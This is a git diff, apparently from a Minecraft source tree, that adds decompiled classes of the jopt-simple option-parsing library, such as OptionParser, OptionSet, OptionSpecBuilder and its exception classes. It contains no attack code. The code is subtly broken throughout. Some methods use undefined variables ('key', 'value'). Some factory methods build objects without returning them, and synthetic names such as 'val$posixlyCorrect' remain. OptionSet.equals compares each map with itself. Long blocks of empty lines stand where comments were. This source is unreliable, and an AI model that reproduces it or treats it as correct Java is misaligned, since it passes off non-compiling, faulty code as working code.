+  public NonOptionArgumentSpec<String> nonOptions(String description) {
+    NonOptionArgumentSpec<String> spec = new NonOptionArgumentSpec(description);
+    
+    recognize(spec);
+    
+    return spec;
+  }
+  
+  public void posixlyCorrect(boolean setting) {
+    posixlyCorrect = setting;
+    state = OptionParserState.moreOptions(setting);
+  }
+  
+  boolean posixlyCorrect() {
+    return posixlyCorrect;
+  }
+  
+  public void allowsUnrecognizedOptions() {
+    allowsUnrecognizedOptions = true;
+  }
+  
+  boolean doesAllowsUnrecognizedOptions() {
+    return allowsUnrecognizedOptions;
+  }
+  
+  public void recognizeAlternativeLongOptions(boolean recognize) {
+    if (recognize) {
+      recognize(new AlternativeLongOptionSpec());
+    } else
+      recognizedOptions.remove(String.valueOf("W"));
+  }
+  
+  void recognize(AbstractOptionSpec<?> spec) {
+    recognizedOptions.putAll(spec.options(), spec);
+  }
+  
+
+
+
+
+
+
+
+
+  public void printHelpOn(OutputStream sink)
+    throws IOException
+  {
+    printHelpOn(new OutputStreamWriter(sink));
+  }
+  
+
+
+
+
+
+
+
+
+  public void printHelpOn(Writer sink)
+    throws IOException
+  {
+    sink.write(helpFormatter.format(recognizedOptions.toJavaUtilMap()));
+    sink.flush();
+  }
+  
+
+
+
+
+
+  public void formatHelpWith(HelpFormatter formatter)
+  {
+    if (formatter == null) {
+      throw new NullPointerException();
+    }
+    helpFormatter = formatter;
+  }
+  
+
+
+
+
+  public Map<String, OptionSpec<?>> recognizedOptions()
+  {
+    return new HashMap(recognizedOptions.toJavaUtilMap());
+  }
+  
+
+
+
+
+
+
+
+  public OptionSet parse(String... arguments)
+  {
+    ArgumentList argumentList = new ArgumentList(arguments);
+    OptionSet detected = new OptionSet(recognizedOptions.toJavaUtilMap());
+    detected.add((AbstractOptionSpec)recognizedOptions.get("[arguments]"));
+    
+    while (argumentList.hasMore()) {
+      state.handleArgument(this, argumentList, detected);
+    }
+    reset();
+    
+    ensureRequiredOptions(detected);
+    
+    return detected;
+  }
+  
+  private void ensureRequiredOptions(OptionSet options) {
+    Collection<String> missingRequiredOptions = missingRequiredOptions(options);
+    boolean helpOptionPresent = isHelpOptionPresent(options);
+    
+    if ((!missingRequiredOptions.isEmpty()) && (!helpOptionPresent))
+      throw new MissingRequiredOptionException(missingRequiredOptions);
+  }
+  
+  private Collection<String> missingRequiredOptions(OptionSet options) {
+    Collection<String> missingRequiredOptions = new HashSet();
+    
+    for (AbstractOptionSpec<?> each : recognizedOptions.toJavaUtilMap().values()) {
+      if ((each.isRequired()) && (!options.has(each))) {
+        missingRequiredOptions.addAll(each.options());
+      }
+    }
+    for (Map.Entry<Collection<String>, Set<OptionSpec<?>>> eachEntry : requiredIf.entrySet()) {
+      AbstractOptionSpec<?> required = specFor((String)((Collection)eachEntry.getKey()).iterator().next());
+      
+      if ((optionsHasAnyOf(options, (Collection)eachEntry.getValue())) && (!options.has(required))) {
+        missingRequiredOptions.addAll(required.options());
+      }
+    }
+    
+    for (Map.Entry<Collection<String>, Set<OptionSpec<?>>> eachEntry : requiredUnless.entrySet()) {
+      AbstractOptionSpec<?> required = specFor((String)((Collection)eachEntry.getKey()).iterator().next());
+      
+      if ((!optionsHasAnyOf(options, (Collection)eachEntry.getValue())) && (!options.has(required))) {
+        missingRequiredOptions.addAll(required.options());
+      }
+    }
+    
+    return missingRequiredOptions;
+  }
+  
+  private boolean optionsHasAnyOf(OptionSet options, Collection<OptionSpec<?>> specs) {
+    for (OptionSpec<?> each : specs) {
+      if (options.has(each)) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+  private boolean isHelpOptionPresent(OptionSet options) {
+    boolean helpOptionPresent = false;
+    for (AbstractOptionSpec<?> each : recognizedOptions.toJavaUtilMap().values()) {
+      if ((each.isForHelp()) && (options.has(each))) {
+        helpOptionPresent = true;
+        break;
+      }
+    }
+    return helpOptionPresent;
+  }
+  
+  void handleLongOptionToken(String candidate, ArgumentList arguments, OptionSet detected) {
+    KeyValuePair optionAndArgument = parseLongOptionWithArgument(candidate);
+    
+    if (!isRecognized(key)) {
+      throw OptionException.unrecognizedOption(key);
+    }
+    AbstractOptionSpec<?> optionSpec = specFor(key);
+    optionSpec.handleOption(this, arguments, detected, value);
+  }
+  
+  void handleShortOptionToken(String candidate, ArgumentList arguments, OptionSet detected) {
+    KeyValuePair optionAndArgument = parseShortOptionWithArgument(candidate);
+    
+    if (isRecognized(key)) {
+      specFor(key).handleOption(this, arguments, detected, value);
+    }
+    else
+      handleShortOptionCluster(candidate, arguments, detected);
+  }
+  
+  private void handleShortOptionCluster(String candidate, ArgumentList arguments, OptionSet detected) {
+    char[] options = extractShortOptionsFrom(candidate);
+    validateOptionCharacters(options);
+    
+    for (int i = 0; i < options.length; i++) {
+      AbstractOptionSpec<?> optionSpec = specFor(options[i]);
+      
+      if ((optionSpec.acceptsArguments()) && (options.length > i + 1)) {
+        String detectedArgument = String.valueOf(options, i + 1, options.length - 1 - i);
+        optionSpec.handleOption(this, arguments, detected, detectedArgument);
+        break;
+      }
+      
+      optionSpec.handleOption(this, arguments, detected, null);
+    }
+  }
+  
+  void handleNonOptionArgument(String candidate, ArgumentList arguments, OptionSet detectedOptions) {
+    specFor("[arguments]").handleOption(this, arguments, detectedOptions, candidate);
+  }
+  
+  void noMoreOptions() {
+    state = OptionParserState.noMoreOptions();
+  }
+  
+  boolean looksLikeAnOption(String argument) {
+    return (ParserRules.isShortOptionToken(argument)) || (ParserRules.isLongOptionToken(argument));
+  }
+  
+  boolean isRecognized(String option) {
+    return recognizedOptions.contains(option);
+  }
+  
+  void requiredIf(Collection<String> precedentSynonyms, String required) {
+    requiredIf(precedentSynonyms, specFor(required));
+  }
+  
+  void requiredIf(Collection<String> precedentSynonyms, OptionSpec<?> required) {
+    putRequiredOption(precedentSynonyms, required, requiredIf);
+  }
+  
+  void requiredUnless(Collection<String> precedentSynonyms, String required) {
+    requiredUnless(precedentSynonyms, specFor(required));
+  }
+  
+  void requiredUnless(Collection<String> precedentSynonyms, OptionSpec<?> required) {
+    putRequiredOption(precedentSynonyms, required, requiredUnless);
+  }
+  
+
+  private void putRequiredOption(Collection<String> precedentSynonyms, OptionSpec<?> required, Map<Collection<String>, Set<OptionSpec<?>>> target)
+  {
+    for (String each : precedentSynonyms) {
+      AbstractOptionSpec<?> spec = specFor(each);
+      if (spec == null) {
+        throw new UnconfiguredOptionException(precedentSynonyms);
+      }
+    }
+    Set<OptionSpec<?>> associated = (Set)target.get(precedentSynonyms);
+    if (associated == null) {
+      associated = new HashSet();
+      target.put(precedentSynonyms, associated);
+    }
+    
+    associated.add(required);
+  }
+  
+  private AbstractOptionSpec<?> specFor(char option) {
+    return specFor(String.valueOf(option));
+  }
+  
+  private AbstractOptionSpec<?> specFor(String option) {
+    return (AbstractOptionSpec)recognizedOptions.get(option);
+  }
+  
+  private void reset() {
+    state = OptionParserState.moreOptions(posixlyCorrect);
+  }
+  
+  private static char[] extractShortOptionsFrom(String argument) {
+    char[] options = new char[argument.length() - 1];
+    argument.getChars(1, argument.length(), options, 0);
+    
+    return options;
+  }
+  
+  private void validateOptionCharacters(char[] options) {
+    for (char each : options) {
+      String option = String.valueOf(each);
+      
+      if (!isRecognized(option)) {
+        throw OptionException.unrecognizedOption(option);
+      }
+      if (specFor(option).acceptsArguments())
+        return;
+    }
+  }
+  
+  private static KeyValuePair parseLongOptionWithArgument(String argument) {
+    return KeyValuePair.valueOf(argument.substring(2));
+  }
+  
+  private static KeyValuePair parseShortOptionWithArgument(String argument) {
+    return KeyValuePair.valueOf(argument.substring(1));
+  }
+}
diff --git a/src/minecraft/joptsimple/OptionParserState.java b/src/minecraft/joptsimple/OptionParserState.java
new file mode 100644
index 0000000..4d69b86
--- /dev/null
+++ b/src/minecraft/joptsimple/OptionParserState.java
@@ -0,0 +1,76 @@
+package joptsimple;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class OptionParserState
+{
+  OptionParserState() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static OptionParserState noMoreOptions()
+  {
+    new OptionParserState()
+    {
+      protected void handleArgument(OptionParser parser, ArgumentList arguments, OptionSet detectedOptions) {
+        parser.handleNonOptionArgument(arguments.next(), arguments, detectedOptions);
+      }
+    };
+  }
+  
+  static OptionParserState moreOptions(boolean posixlyCorrect) {
+    new OptionParserState()
+    {
+      protected void handleArgument(OptionParser parser, ArgumentList arguments, OptionSet detectedOptions) {
+        String candidate = arguments.next();
+        try {
+          if (ParserRules.isOptionTerminator(candidate)) {
+            parser.noMoreOptions();
+            return; }
+          if (ParserRules.isLongOptionToken(candidate)) {
+            parser.handleLongOptionToken(candidate, arguments, detectedOptions);
+            return; }
+          if (ParserRules.isShortOptionToken(candidate)) {
+            parser.handleShortOptionToken(candidate, arguments, detectedOptions);
+            return;
+          }
+        } catch (UnrecognizedOptionException e) {
+          if (!parser.doesAllowsUnrecognizedOptions()) {
+            throw e;
+          }
+        }
+        if (val$posixlyCorrect) {
+          parser.noMoreOptions();
+        }
+        parser.handleNonOptionArgument(candidate, arguments, detectedOptions);
+      }
+    };
+  }
+  
+  protected abstract void handleArgument(OptionParser paramOptionParser, ArgumentList paramArgumentList, OptionSet paramOptionSet);
+}
diff --git a/src/minecraft/joptsimple/OptionSet.java b/src/minecraft/joptsimple/OptionSet.java
new file mode 100644
index 0000000..c1eef0e
--- /dev/null
+++ b/src/minecraft/joptsimple/OptionSet.java
@@ -0,0 +1,321 @@
+package joptsimple;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.IdentityHashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import joptsimple.internal.Objects;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class OptionSet
+{
+  private final List<OptionSpec<?>> detectedSpecs;
+  private final Map<String, AbstractOptionSpec<?>> detectedOptions;
+  private final Map<AbstractOptionSpec<?>, List<String>> optionsToArguments;
+  private final Map<String, AbstractOptionSpec<?>> recognizedSpecs;
+  private final Map<String, List<?>> defaultValues;
+  
+  OptionSet(Map<String, AbstractOptionSpec<?>> recognizedSpecs)
+  {
+    detectedSpecs = new ArrayList();
+    detectedOptions = new HashMap();
+    optionsToArguments = new IdentityHashMap();
+    defaultValues = defaultValues(recognizedSpecs);
+    this.recognizedSpecs = recognizedSpecs;
+  }
+  
+
+
+
+
+  public boolean hasOptions()
+  {
+    return !detectedOptions.isEmpty();
+  }
+  
+
+
+
+
+
+
+  public boolean has(String option)
+  {
+    return detectedOptions.containsKey(option);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean has(OptionSpec<?> option)
+  {
+    return optionsToArguments.containsKey(option);
+  }
+  
+
+
+
+
+
+
+  public boolean hasArgument(String option)
+  {
+    AbstractOptionSpec<?> spec = (AbstractOptionSpec)detectedOptions.get(option);
+    return (spec != null) && (hasArgument(spec));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean hasArgument(OptionSpec<?> option)
+  {
+    Objects.ensureNotNull(option);
+    
+    List<String> values = (List)optionsToArguments.get(option);
+    return (values != null) && (!values.isEmpty());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Object valueOf(String option)
+  {
+    Objects.ensureNotNull(option);
+    
+    AbstractOptionSpec<?> spec = (AbstractOptionSpec)detectedOptions.get(option);
+    if (spec == null) {
+      List<?> defaults = defaultValuesFor(option);
+      return defaults.isEmpty() ? null : defaults.get(0);
+    }
+    
+    return valueOf(spec);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public <V> V valueOf(OptionSpec<V> option)
+  {
+    Objects.ensureNotNull(option);
+    
+    List<V> values = valuesOf(option);
+    switch (values.size()) {
+    case 0: 
+      return null;
+    case 1: 
+      return values.get(0);
+    }
+    throw new MultipleArgumentsForOptionException(option.options());
+  }
+  
+
+
+
+
+
+
+
+
+
+  public List<?> valuesOf(String option)
+  {
+    Objects.ensureNotNull(option);
+    
+    AbstractOptionSpec<?> spec = (AbstractOptionSpec)detectedOptions.get(option);
+    return spec == null ? defaultValuesFor(option) : valuesOf(spec);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public <V> List<V> valuesOf(OptionSpec<V> option)
+  {
+    Objects.ensureNotNull(option);
+    
+    List<String> values = (List)optionsToArguments.get(option);
+    if ((values == null) || (values.isEmpty())) {
+      return defaultValueFor(option);
+    }
+    AbstractOptionSpec<V> spec = (AbstractOptionSpec)option;
+    List<V> convertedValues = new ArrayList();
+    for (String each : values) {
+      convertedValues.add(spec.convert(each));
+    }
+    return Collections.unmodifiableList(convertedValues);
+  }
+  
+
+
+
+
+
+  public List<OptionSpec<?>> specs()
+  {
+    List<OptionSpec<?>> specs = detectedSpecs;
+    specs.remove(detectedOptions.get("[arguments]"));
+    
+    return Collections.unmodifiableList(specs);
+  }
+  
+
+
+
+
+  public Map<OptionSpec<?>, List<?>> asMap()
+  {
+    Map<OptionSpec<?>, List<?>> map = new HashMap();
+    for (AbstractOptionSpec<?> spec : recognizedSpecs.values())
+      if (!spec.representsNonOptions())
+        map.put(spec, valuesOf(spec));
+    return Collections.unmodifiableMap(map);
+  }
+  
+
+
+  public List<?> nonOptionArguments()
+  {
+    return Collections.unmodifiableList(valuesOf((OptionSpec)detectedOptions.get("[arguments]")));
+  }
+  
+  void add(AbstractOptionSpec<?> spec) {
+    addWithArgument(spec, null);
+  }
+  
+  void addWithArgument(AbstractOptionSpec<?> spec, String argument) {
+    detectedSpecs.add(spec);
+    
+    for (String each : spec.options()) {
+      detectedOptions.put(each, spec);
+    }
+    List<String> optionArguments = (List)optionsToArguments.get(spec);
+    
+    if (optionArguments == null) {
+      optionArguments = new ArrayList();
+      optionsToArguments.put(spec, optionArguments);
+    }
+    
+    if (argument != null) {
+      optionArguments.add(argument);
+    }
+  }
+  
+  public boolean equals(Object that) {
+    if (this == that) {
+      return true;
+    }
+    if ((that == null) || (!getClass().equals(that.getClass()))) {
+      return false;
+    }
+    OptionSet other = (OptionSet)that;
+    Map<AbstractOptionSpec<?>, List<String>> thisOptionsToArguments = new HashMap(optionsToArguments);
+    
+    Map<AbstractOptionSpec<?>, List<String>> otherOptionsToArguments = new HashMap(optionsToArguments);
+    
+    return (detectedOptions.equals(detectedOptions)) && (thisOptionsToArguments.equals(otherOptionsToArguments));
+  }
+  
+
+  public int hashCode()
+  {
+    Map<AbstractOptionSpec<?>, List<String>> thisOptionsToArguments = new HashMap(optionsToArguments);
+    
+    return detectedOptions.hashCode() ^ thisOptionsToArguments.hashCode();
+  }
+  
+  private <V> List<V> defaultValuesFor(String option)
+  {
+    if (defaultValues.containsKey(option)) {
+      return (List)defaultValues.get(option);
+    }
+    return Collections.emptyList();
+  }
+  
+  private <V> List<V> defaultValueFor(OptionSpec<V> option) {
+    return defaultValuesFor((String)option.options().iterator().next());
+  }
+  
+  private static Map<String, List<?>> defaultValues(Map<String, AbstractOptionSpec<?>> recognizedSpecs) {
+    Map<String, List<?>> defaults = new HashMap();
+    for (Map.Entry<String, AbstractOptionSpec<?>> each : recognizedSpecs.entrySet())
+      defaults.put(each.getKey(), ((AbstractOptionSpec)each.getValue()).defaultValues());
+    return defaults;
+  }
+}
diff --git a/src/minecraft/joptsimple/OptionSpec.java b/src/minecraft/joptsimple/OptionSpec.java
new file mode 100644
index 0000000..7e6346f
--- /dev/null
+++ b/src/minecraft/joptsimple/OptionSpec.java
@@ -0,0 +1,15 @@
+package joptsimple;
+
+import java.util.Collection;
+import java.util.List;
+
+public abstract interface OptionSpec<V>
+{
+  public abstract List<V> values(OptionSet paramOptionSet);
+  
+  public abstract V value(OptionSet paramOptionSet);
+  
+  public abstract Collection<String> options();
+  
+  public abstract boolean isForHelp();
+}
diff --git a/src/minecraft/joptsimple/OptionSpecBuilder.java b/src/minecraft/joptsimple/OptionSpecBuilder.java
new file mode 100644
index 0000000..64ee880
--- /dev/null
+++ b/src/minecraft/joptsimple/OptionSpecBuilder.java
@@ -0,0 +1,195 @@
+package joptsimple;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class OptionSpecBuilder
+  extends NoArgumentOptionSpec
+{
+  private final OptionParser parser;
+  
+  OptionSpecBuilder(OptionParser parser, Collection<String> options, String description)
+  {
+    super(options, description);
+    
+    this.parser = parser;
+    attachToParser();
+  }
+  
+  private void attachToParser() {
+    parser.recognize(this);
+  }
+  
+
+
+
+
+  public ArgumentAcceptingOptionSpec<String> withRequiredArg()
+  {
+    ArgumentAcceptingOptionSpec<String> newSpec = new RequiredArgumentOptionSpec(options(), description());
+    
+    parser.recognize(newSpec);
+    
+    return newSpec;
+  }
+  
+
+
+
+
+  public ArgumentAcceptingOptionSpec<String> withOptionalArg()
+  {
+    ArgumentAcceptingOptionSpec<String> newSpec = new OptionalArgumentOptionSpec(options(), description());
+    
+    parser.recognize(newSpec);
+    
+    return newSpec;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public OptionSpecBuilder requiredIf(String dependent, String... otherDependents)
+  {
+    List<String> dependents = validatedDependents(dependent, otherDependents);
+    for (String each : dependents) {
+      parser.requiredIf(options(), each);
+    }
+    
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public OptionSpecBuilder requiredIf(OptionSpec<?> dependent, OptionSpec<?>... otherDependents)
+  {
+    parser.requiredIf(options(), dependent);
+    for (OptionSpec<?> each : otherDependents) {
+      parser.requiredIf(options(), each);
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public OptionSpecBuilder requiredUnless(String dependent, String... otherDependents)
+  {
+    List<String> dependents = validatedDependents(dependent, otherDependents);
+    for (String each : dependents) {
+      parser.requiredUnless(options(), each);
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public OptionSpecBuilder requiredUnless(OptionSpec<?> dependent, OptionSpec<?>... otherDependents)
+  {
+    parser.requiredUnless(options(), dependent);
+    for (OptionSpec<?> each : otherDependents) {
+      parser.requiredUnless(options(), each);
+    }
+    return this;
+  }
+  
+  private List<String> validatedDependents(String dependent, String... otherDependents) {
+    List<String> dependents = new ArrayList();
+    dependents.add(dependent);
+    Collections.addAll(dependents, otherDependents);
+    
+    for (String each : dependents) {
+      if (!parser.isRecognized(each)) {
+        throw new UnconfiguredOptionException(each);
+      }
+    }
+    return dependents;
+  }
+}
diff --git a/src/minecraft/joptsimple/OptionSpecTokenizer.java b/src/minecraft/joptsimple/OptionSpecTokenizer.java
new file mode 100644
index 0000000..36cda03
--- /dev/null
+++ b/src/minecraft/joptsimple/OptionSpecTokenizer.java
@@ -0,0 +1,126 @@
+package joptsimple;
+
+import java.util.NoSuchElementException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class OptionSpecTokenizer
+{
+  private static final char POSIXLY_CORRECT_MARKER = '+';
+  private static final char HELP_MARKER = '*';
+  private String specification;
+  private int index;
+  
+  OptionSpecTokenizer(String specification)
+  {
+    if (specification == null) {
+      throw new NullPointerException("null option specification");
+    }
+    this.specification = specification;
+  }
+  
+  boolean hasMore() {
+    return index < specification.length();
+  }
+  
+  AbstractOptionSpec<?> next() {
+    if (!hasMore()) {
+      throw new NoSuchElementException();
+    }
+    
+    String optionCandidate = String.valueOf(specification.charAt(index));
+    index += 1;
+    
+
+    if ("W".equals(optionCandidate)) {
+      AbstractOptionSpec<?> spec = handleReservedForExtensionsToken();
+      
+      if (spec != null) {
+        return spec;
+      }
+    }
+    ParserRules.ensureLegalOption(optionCandidate);
+    AbstractOptionSpec<?> spec;
+    if (hasMore()) {
+      boolean forHelp = false;
+      if (specification.charAt(index) == '*') {
+        forHelp = true;
+        index += 1;
+      }
+      AbstractOptionSpec<?> spec = (hasMore()) && (specification.charAt(index) == ':') ? handleArgumentAcceptingOption(optionCandidate) : new NoArgumentOptionSpec(optionCandidate);
+      
+
+      if (forHelp)
+        spec.forHelp();
+    } else {
+      spec = new NoArgumentOptionSpec(optionCandidate);
+    }
+    return spec;
+  }
+  
+  void configure(OptionParser parser) {
+    adjustForPosixlyCorrect(parser);
+    
+    while (hasMore())
+      parser.recognize(next());
+  }
+  
+  private void adjustForPosixlyCorrect(OptionParser parser) {
+    if ('+' == specification.charAt(0)) {
+      parser.posixlyCorrect(true);
+      specification = specification.substring(1);
+    }
+  }
+  
+  private AbstractOptionSpec<?> handleReservedForExtensionsToken() {
+    if (!hasMore()) {
+      return new NoArgumentOptionSpec("W");
+    }
+    if (specification.charAt(index) == ';') {
+      index += 1;
+      return new AlternativeLongOptionSpec();
+    }
+    
+    return null;
+  }
+  
+  private AbstractOptionSpec<?> handleArgumentAcceptingOption(String candidate) {
+    index += 1;
+    
+    if ((hasMore()) && (specification.charAt(index) == ':')) {
+      index += 1;
+      return new OptionalArgumentOptionSpec(candidate);
+    }
+    
+    return new RequiredArgumentOptionSpec(candidate);
+  }
+}
diff --git a/src/minecraft/joptsimple/OptionalArgumentOptionSpec.java b/src/minecraft/joptsimple/OptionalArgumentOptionSpec.java
new file mode 100644
index 0000000..0e5ebe0
--- /dev/null
+++ b/src/minecraft/joptsimple/OptionalArgumentOptionSpec.java
@@ -0,0 +1,70 @@
+package joptsimple;
+
+import java.util.Collection;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class OptionalArgumentOptionSpec<V>
+  extends ArgumentAcceptingOptionSpec<V>
+{
+  OptionalArgumentOptionSpec(String option)
+  {
+    super(option, false);
+  }
+  
+  OptionalArgumentOptionSpec(Collection<String> options, String description) {
+    super(options, false, description);
+  }
+  
+  protected void detectOptionArgument(OptionParser parser, ArgumentList arguments, OptionSet detectedOptions)
+  {
+    if (arguments.hasMore()) {
+      String nextArgument = arguments.peek();
+      
+      if (!parser.looksLikeAnOption(nextArgument)) {
+        handleOptionArgument(parser, detectedOptions, arguments);
+      } else if ((isArgumentOfNumberType()) && (canConvertArgument(nextArgument))) {
+        addArguments(detectedOptions, arguments.next());
+      } else {
+        detectedOptions.add(this);
+      }
+    } else {
+      detectedOptions.add(this);
+    }
+  }
+  
+  private void handleOptionArgument(OptionParser parser, OptionSet detectedOptions, ArgumentList arguments) { if (parser.posixlyCorrect()) {
+      detectedOptions.add(this);
+      parser.noMoreOptions();
+    }
+    else {
+      addArguments(detectedOptions, arguments.next());
+    }
+  }
+}
diff --git a/src/minecraft/joptsimple/ParserRules.java b/src/minecraft/joptsimple/ParserRules.java
new file mode 100644
index 0000000..9e2a83d
--- /dev/null
+++ b/src/minecraft/joptsimple/ParserRules.java
@@ -0,0 +1,84 @@
+package joptsimple;
+
+import java.util.Collection;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class ParserRules
+{
+  static final char HYPHEN_CHAR = '-';
+  static final String HYPHEN = String.valueOf('-');
+  static final String DOUBLE_HYPHEN = "--";
+  static final String OPTION_TERMINATOR = "--";
+  static final String RESERVED_FOR_EXTENSIONS = "W";
+  
+  private ParserRules() {
+    throw new UnsupportedOperationException();
+  }
+  
+  static boolean isShortOptionToken(String argument) {
+    return (argument.startsWith(HYPHEN)) && (!HYPHEN.equals(argument)) && (!isLongOptionToken(argument));
+  }
+  
+
+  static boolean isLongOptionToken(String argument)
+  {
+    return (argument.startsWith("--")) && (!isOptionTerminator(argument));
+  }
+  
+  static boolean isOptionTerminator(String argument) {
+    return "--".equals(argument);
+  }
+  
+  static void ensureLegalOption(String option) {
+    if (option.startsWith(HYPHEN)) {
+      throw new IllegalOptionSpecificationException(String.valueOf(option));
+    }
+    for (int i = 0; i < option.length(); i++)
+      ensureLegalOptionCharacter(option.charAt(i));
+  }
+  
+  static void ensureLegalOptions(Collection<String> options) {
+    for (String each : options)
+      ensureLegalOption(each);
+  }
+  
+  private static void ensureLegalOptionCharacter(char option) {
+    if ((!Character.isLetterOrDigit(option)) && (!isAllowedPunctuation(option)))
+      throw new IllegalOptionSpecificationException(String.valueOf(option));
+  }
+  
+  private static boolean isAllowedPunctuation(char option) {
+    String allowedPunctuation = "?.-";
+    return allowedPunctuation.indexOf(option) != -1;
+  }
+}
diff --git a/src/minecraft/joptsimple/RequiredArgumentOptionSpec.java b/src/minecraft/joptsimple/RequiredArgumentOptionSpec.java
new file mode 100644
index 0000000..7f02a10
--- /dev/null
+++ b/src/minecraft/joptsimple/RequiredArgumentOptionSpec.java
@@ -0,0 +1,52 @@
+package joptsimple;
+
+import java.util.Collection;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class RequiredArgumentOptionSpec<V>
+  extends ArgumentAcceptingOptionSpec<V>
+{
+  RequiredArgumentOptionSpec(String option)
+  {
+    super(option, true);
+  }
+  
+  RequiredArgumentOptionSpec(Collection<String> options, String description) {
+    super(options, true, description);
+  }
+  
+  protected void detectOptionArgument(OptionParser parser, ArgumentList arguments, OptionSet detectedOptions)
+  {
+    if (!arguments.hasMore()) {
+      throw new OptionMissingRequiredArgumentException(options());
+    }
+    addArguments(detectedOptions, arguments.next());
+  }
+}
diff --git a/src/minecraft/joptsimple/UnacceptableNumberOfNonOptionsException.java b/src/minecraft/joptsimple/UnacceptableNumberOfNonOptionsException.java
new file mode 100644
index 0000000..9b753fd
--- /dev/null
+++ b/src/minecraft/joptsimple/UnacceptableNumberOfNonOptionsException.java
@@ -0,0 +1,54 @@
+package joptsimple;
+
+import java.util.Collections;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class UnacceptableNumberOfNonOptionsException
+  extends OptionException
+{
+  private static final long serialVersionUID = -1L;
+  private final int minimum;
+  private final int maximum;
+  private final int actual;
+  
+  UnacceptableNumberOfNonOptionsException(int minimum, int maximum, int actual)
+  {
+    super(Collections.singletonList("[arguments]"));
+    
+    this.minimum = minimum;
+    this.maximum = maximum;
+    this.actual = actual;
+  }
+  
+  public String getMessage()
+  {
+    return String.format("actual = %d, minimum = %d, maximum = %d", new Object[] { Integer.valueOf(actual), Integer.valueOf(minimum), Integer.valueOf(maximum) });
+  }
+}
diff --git a/src/minecraft/joptsimple/UnconfiguredOptionException.java b/src/minecraft/joptsimple/UnconfiguredOptionException.java
new file mode 100644
index 0000000..ab21baf
--- /dev/null
+++ b/src/minecraft/joptsimple/UnconfiguredOptionException.java
@@ -0,0 +1,52 @@
+package joptsimple;
+
+import java.util.Collection;
+import java.util.Collections;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class UnconfiguredOptionException
+  extends OptionException
+{
+  private static final long serialVersionUID = -1L;
+  
+  UnconfiguredOptionException(String option)
+  {
+    this(Collections.singletonList(option));
+  }
+  
+  UnconfiguredOptionException(Collection<String> options) {
+    super(options);
+  }
+  
+  public String getMessage()
+  {
+    return "Option " + multipleOptionMessage() + " has not been configured on this parser";
+  }
+}
diff --git a/src/minecraft/joptsimple/UnrecognizedOptionException.java b/src/minecraft/joptsimple/UnrecognizedOptionException.java
new file mode 100644
index 0000000..e72a280
--- /dev/null
+++ b/src/minecraft/joptsimple/UnrecognizedOptionException.java
@@ -0,0 +1,46 @@
+package joptsimple;
+
+import java.util.Collections;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class UnrecognizedOptionException
+  extends OptionException
+{
+  private static final long serialVersionUID = -1L;
+  
+  UnrecognizedOptionException(String option)
+  {
+    super(Collections.singletonList(option));
+  }
+  
+  public String getMessage()
+  {
+    return singleOptionMessage() + " is not a recognized option";
+  }
+}
diff --git a/src/minecraft/joptsimple/ValueConversionException.java b/src/minecraft/joptsimple/ValueConversionException.java
new file mode 100644
index 0000000..c51e9ee
--- /dev/null
+++ b/src/minecraft/joptsimple/ValueConversionException.java
@@ -0,0 +1,54 @@
+package joptsimple;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ValueConversionException
+  extends RuntimeException
+{
+  private static final long serialVersionUID = -1L;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public ValueConversionException(String message)
+  {
+    this(message, null);
+  }
+  
+
+
+
+
+
+  public ValueConversionException(String message, Throwable cause)
+  {
+    super(message, cause);
+  }
+}
diff --git a/src/minecraft/joptsimple/ValueConverter.java b/src/minecraft/joptsimple/ValueConverter.java
new file mode 100644
index 0000000..a0d3a1d
--- /dev/null
+++ b/src/minecraft/joptsimple/ValueConverter.java
@@ -0,0 +1,10 @@
+package joptsimple;
+
+public abstract interface ValueConverter<V>
+{
+  public abstract V convert(String paramString);
+  
+  public abstract Class<V> valueType();
+  
+  public abstract String valuePattern();
+}
diff --git a/src/minecraft/joptsimple/internal/AbbreviationMap.java b/src/minecraft/joptsimple/internal/AbbreviationMap.java
new file mode 100644
index 0000000..8cca92b
--- /dev/null
+++ b/src/minecraft/joptsimple/internal/AbbreviationMap.java
@@ -0,0 +1,234 @@
+package joptsimple.internal;
+
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import java.util.TreeMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
